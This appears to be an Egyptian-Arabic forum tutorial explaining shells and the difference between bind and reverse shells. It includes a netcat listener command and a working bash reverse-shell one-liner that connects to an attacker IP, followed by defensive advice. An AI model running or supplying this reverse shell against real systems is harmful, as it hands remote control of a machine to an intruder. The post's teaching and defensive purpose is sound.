
- بواسطة x32x01 ||
لو بتشتغل بالميتاسبلويت أو تتابع شروحات الاختراق الأخلاقي، غالبًا شفت كلمات زي reverse shell أو reverse tcp. البوست ده هيشرح الفكرة بطريقة سهلة: إيه هو (shell)، إزاي المهاجمين بيحاولوا يتحكموا في نظام عن بُعد، وإيه الفرق بين bind shell وreverse shell - كله بلغة بسيطة وأمثلة توضيحية.
إيه هي الـ shell أصلاً؟
الـ shell هي واجهة بتديك إمكانية تكتب أوامر ويتنفّذها نظام التشغيل - يعني زي الـ “قشرة” اللي بتخليك تتحكم في النظام. أمثلة عليها:
ليه المهاجم عايز Shell؟
عشان يقدر ينفّذ أوامر، يرفع صلاحيات، يسرّق بيانات، أو يعمل تغييرات. لكن معظم الأجهزة محمية بجدران نارية وشبكات، فمش دايمًا تقدر تعمل اتصال مباشر من المهاجم للجهاز الضحية. هنا بييجي دور أنواع الصدفة المختلفة.
الفرق بين Bind Shell و Reverse Shell - بشكل مبسّط
ليه Bind Shell ممكن يفشل؟
لأن جدران الحماية الحديثة بتمنع الاتصالات الواردة من الإنترنت، فحتى لو في بورت مفتوح على الضحية، الشبكات غالبًا هتمنعه. أما Reverse Shell فالاتصال طالع من داخل الضحية لعنوان المهاجم، وده أقلّ مقاومة من جدار الحماية.
هنا
بعد كده، لو افترضنا جهاز الضحيه نظام لينكس، ممكن يكون شكل أمر الـ reverse shell بسيط زي المثال ده:
الأمر ده سببُه أن جهاز الضحية يتصل بـ IP المهاجم (مثال:
نقاط عملية وملاحظات مهمة
نصايح للمدافعين والمبتدئين
الـ reverse shell مجرد آلية اتصال - وسلاح ذو حدين: يوضح قوة الوصول عن بُعد، لكنه كمان بيؤكّد إن الدفاعات الشبكية والرقابية مهمة جدًا. افهم الفكرة، اتدرّب في بيئة آمنة، والتزم دومًا بالأخلاقيات والقانون.
إيه هي الـ shell أصلاً؟
الـ shell هي واجهة بتديك إمكانية تكتب أوامر ويتنفّذها نظام التشغيل - يعني زي الـ “قشرة” اللي بتخليك تتحكم في النظام. أمثلة عليها:- Windows PowerShell
- Windows Command Prompt (CMD)
- bash
- sh
- dash
- Korn shell
ليه المهاجم عايز Shell؟
عشان يقدر ينفّذ أوامر، يرفع صلاحيات، يسرّق بيانات، أو يعمل تغييرات. لكن معظم الأجهزة محمية بجدران نارية وشبكات، فمش دايمًا تقدر تعمل اتصال مباشر من المهاجم للجهاز الضحية. هنا بييجي دور أنواع الصدفة المختلفة.الفرق بين Bind Shell و Reverse Shell - بشكل مبسّط
bind shell (الـ Bind Shell)
- الفكرة: الضحية بتشغّل خدمة “مستمع” (listener) على جهازها على بورت معين.
- المهاجم بيتصل بالـ listener على الضحية ويبدأ يبعت أوامر.
- عيبها: لازم المهاجم يعرف IP الضحية ويقدر يتصل بيه - وده غالبًا بيتوقف بجدار الحماية لأن الـ incoming connections عادة بتتمنع.
reverse shell (الـ Reverse Shell)
- الفكرة: المهاجم يشغّل مستمع على جهازه، والضحية هي اللي تتصل بالمهاجم (يعني الاتصال يتم بالعكس).
- الميزة: المهاجم مش محتاج يعرف IP الضحية، والاتصال طالعه من الضحية لن يعمل جدار الحماية على منعه عادةً لأنها اتصال خارجي يبدأ من داخل الشبكة.
- بكدا المهاجم يتحكم في الـ shell بعد نجاح الاتصال.
تلخيص الفارق في جملة واحدة
- Bind Shell: المستمع (listener) شغال على جهاز الضحية، والمهاجم هو اللي يتصل.
- Reverse Shell: المستمع شغال على جهاز المهاجم، والضحية هي اللي تتصل - وده بيحل مشكلة الجدران النارية في كتير من الحالات.
ليه Bind Shell ممكن يفشل؟
لأن جدران الحماية الحديثة بتمنع الاتصالات الواردة من الإنترنت، فحتى لو في بورت مفتوح على الضحية، الشبكات غالبًا هتمنعه. أما Reverse Shell فالاتصال طالع من داخل الضحية لعنوان المهاجم، وده أقلّ مقاومة من جدار الحماية.مثال عملي (تعليمي وبسيط) - إعداد مستمع بـ netcat
أولًا على جهازك (تجعل جهازك مستمع على بورت 1337): Code:
ncat -l -p 1337
-l
معناها تشغيل وضع الاستماع، و-p 1337
تحديد رقم البورت 1337.بعد كده، لو افترضنا جهاز الضحيه نظام لينكس، ممكن يكون شكل أمر الـ reverse shell بسيط زي المثال ده:
Code:
/bin/bash -i >& /dev/tcp/10.10.17.1/1337 0>&1
10.10.17.1
) على البورت 1337، وبعد الاتصال المهاجم بيحصل على قشرة (shell).نقاط عملية وملاحظات مهمة
- في الحقيقية، ستجد أن المهاجمين المحترفين يستخدموا آليات متقدمة (تشفير، تغليف، قنوات متعددة، persistence...) لكن هنا الفكرة الأساسية اللي لازم تفهمها هي منطق اتصال الـ reverse vs bind.
- الدفاع الفعّال يعتمد على: مراقبة الشبكة، كشف محاولات اتصالات خارجة غير متوقعة، استعمال IDS/IPS، وسياسات على الـ egress (منع اتصالات لخوادم مش موثوق فيها).
نصايح للمدافعين والمبتدئين
- راقب أي اتصال صاعد (outgoing) إلى عناوين غير معروفة أو بورتات غير معتادة.
- فعل logging للنشاط الشبكي وراجع الـ netflow دورياً.
- اطّلع على البرامج اللي بتطلب فتح بورتات، وخصوصًا العمليات اللي تعمل sockets غير متوقعة.
- اختبر بيئتك في مختبرات مغلقة (VMs أو شبكات اختبار) بدل ما تجرب على أنظمة حقيقية بدون إذن.

التعديل الأخير: